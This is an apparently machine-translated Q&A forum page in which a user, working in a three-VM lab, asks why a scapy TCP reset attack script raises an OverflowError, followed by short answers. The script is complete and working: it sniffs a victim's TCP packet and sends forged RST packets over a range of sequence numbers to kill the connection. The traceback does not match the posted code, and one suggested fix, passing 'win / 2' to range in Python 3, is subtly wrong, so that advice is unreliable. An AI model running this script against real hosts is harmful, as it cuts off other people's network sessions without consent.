我从这里得到了以下代码:https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2
我尝试使用3个Ubuntu虚拟机(Ubuntu 16.04.2 LTS)执行攻击 ).这是我的密码:
#!/usr/bin/python
from scapy.all import *
win=512
tcp_rst_count = 10
victim_ip = "10.0.2.5"
your_iface = "enp0s3"
# get a tcp packet by sniffing LAN
t = sniff(iface=your_iface, count=1,
lfilter=lambda x: x.haslayer(TCP)
and x[IP].src == victim_ip)
t = t[0]
tcpdata = {
'src': t[IP].src,
'dst': t[IP].dst,
'sport': t[TCP].sport,
'dport': t[TCP].dport,
'seq': t[TCP].seq,
'ack': t[TCP].ack
}
max_seq = tcpdata['ack'] + tcp_rst_count * win
seqs = range(tcpdata['ack'], max_seq, int(win / 2))
p = IP(src=tcpdata['dst'], dst=tcpdata['src']) / \
TCP(sport=tcpdata['dport'], dport=tcpdata['sport'],
flags="R", window=win, seq=seqs[0])
for seq in seqs:
p.seq = seq
send(p, verbose=0, iface=your_iface)
print('tcp reset attack finish')
代码在VM1中运行。我运行它并尝试从VM2远程登录到VM3,一旦我这样做,我就会得到以下异常:
Traceback (most recent call last):
File "./tcp_rst.py", line 26, in <module>
seqs = range(tcpdata['ack'], max_seq, long(win / 2))
OverflowError: Python int too large to convert to C long
这其中的罪魁祸首可能是什么。在做一些研究时,我没有看到range
函数出现这种异常
如果您使用的是Python3,则不需要
long(win / 2)
调用。用win / 2
来代替它您可能正在将
ctypes.c_long
作为long
导入某个地方相关问题 更多 >
编程相关推荐